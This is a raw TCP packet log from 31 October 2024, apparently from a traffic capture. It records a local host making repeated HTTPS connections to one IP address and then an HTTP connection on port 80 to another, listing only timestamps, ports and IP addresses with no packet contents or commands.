Oct 31, 2024 23:37:01.383043051 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:01.383292913 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:01.384341002 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:01.384381056 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:01.384430885 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077605009 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077657938 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077692986 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077728987 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077765942 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077805996 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077809095 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.077862024 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077966928 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.077989101 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.077989101 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.078011990 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.078035116 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.078051090 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.078108072 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.192210913 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192308903 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192351103 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192358017 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.192384005 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192436934 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.192704916 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192805052 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192862988 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.192930937 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.192964077 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.192987919 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.193001986 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.304272890 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.304306984 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.304399014 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.304739952 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.304755926 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.915657997 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.915934086 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.917135000 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.917143106 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.917386055 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.918708086 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.918837070 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.918873072 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:02.918936968 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:02.918946028 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:03.411801100 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:03.411927938 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:03.411983013 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:03.412149906 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:03.412167072 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:03.748980045 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:03.749026060 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:03.749092102 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:03.750145912 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:03.750159025 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:04.352407932 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:04.352487087 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:04.353962898 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:04.353971958 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:04.354209900 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:04.355384111 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:04.355530024 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:04.355555058 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.084076881 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.084198952 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.084271908 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.084371090 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.084388971 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.250272989 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.250315905 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.250381947 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.250660896 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.250674963 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.869268894 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.869340897 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.870615005 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.870628119 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.870857000 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.871980906 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.872116089 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.872148991 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:05.872236013 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:05.872248888 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:06.785181999 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:06.785271883 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:06.785340071 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:06.785475016 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:06.785495996 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:07.126904011 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.126955032 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:07.127034903 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.127350092 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.127360106 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:07.737970114 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:07.738065958 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.739501953 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.739512920 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:07.739754915 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:07.741069078 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.741162062 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:07.741167068 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:08.069041967 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:08.069149017 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:08.069196939 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:08.069278002 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:08.069295883 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:08.478977919 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:08.479052067 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:08.479146957 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:08.479470015 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:08.479484081 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.088674068 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.088764906 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.090207100 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.090218067 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.090460062 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.091723919 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.092504025 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.092541933 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.092657089 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.092689037 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.092788935 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.092839956 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.092968941 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.092988014 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.093148947 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.093168020 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.093333006 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.093365908 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.093375921 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.093537092 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.093576908 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.102962971 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.103127956 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.103157043 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.103187084 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.103199005 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.103229046 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.103255033 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.103301048 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.103396893 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.103893042 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:09.104005098 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:09.104029894 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:13.238775015 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:13.238903999 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:13.238960028 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:13.239227057 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:13.239244938 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:13.556354046 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:13.556401968 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:13.556471109 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:13.557171106 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:13.557184935 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.176132917 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.176211119 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.177500963 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.177510023 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.177839041 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.179083109 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.179107904 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.179174900 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.861588955 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.861711025 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.861816883 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.861938953 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.861953974 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.861987114 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:14.861991882 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:14.863893032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:14.868824005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:14.869268894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:14.869496107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:14.874460936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786335945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786369085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786377907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786428928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786439896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786453962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786465883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786469936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.786494970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786504984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786514044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.786519051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.786540031 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.786552906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.791760921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.791771889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.791780949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.791819096 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.837789059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.949492931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949507952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949520111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949554920 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.949716091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949728012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949775934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.949831963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949923992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949937105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949965954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.949973106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.949981928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.949999094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.950046062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.950972080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.950984001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.950994968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951026917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.951634884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951647997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951694965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.951878071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951894045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951905966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951941967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.951961994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.951976061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.952028990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:15.952747107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.952994108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:15.954782963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.110660076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110697031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110708952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110718966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110729933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110734940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.110742092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110764027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.110771894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.110771894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.111082077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111126900 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.111355066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111363888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111373901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111383915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111411095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.111498117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111521006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.111555099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111567020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111607075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.111622095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111633062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111643076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111654997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.111666918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.111671925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.112525940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112536907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112549067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112571001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.112588882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112600088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112601042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.112612963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112624884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.112631083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.112656116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.113415956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113476992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113488913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113516092 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.113544941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113555908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113567114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113578081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.113589048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.113609076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.114358902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114398956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.114434004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114445925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114484072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.114515066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114527941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114537954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114550114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.114563942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.114592075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.115305901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.115329981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.115339994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.115349054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.115360022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.115389109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.115400076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.227896929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272607088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272628069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272644997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272689104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272696972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.272713900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272720098 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.272751093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.272761106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272790909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272806883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272824049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272829056 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.272840977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.272866964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.273108959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273169994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273181915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273220062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.273303986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273313999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273348093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.273480892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273492098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273502111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273507118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273515940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273525000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273535013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273542881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.273551941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.273883104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273926973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273927927 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.273937941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.273979902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.274009943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274019957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274029016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274040937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274051905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.274085999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.274111986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274122000 CET	80	49739	185.215.113.16	192.168.2.4
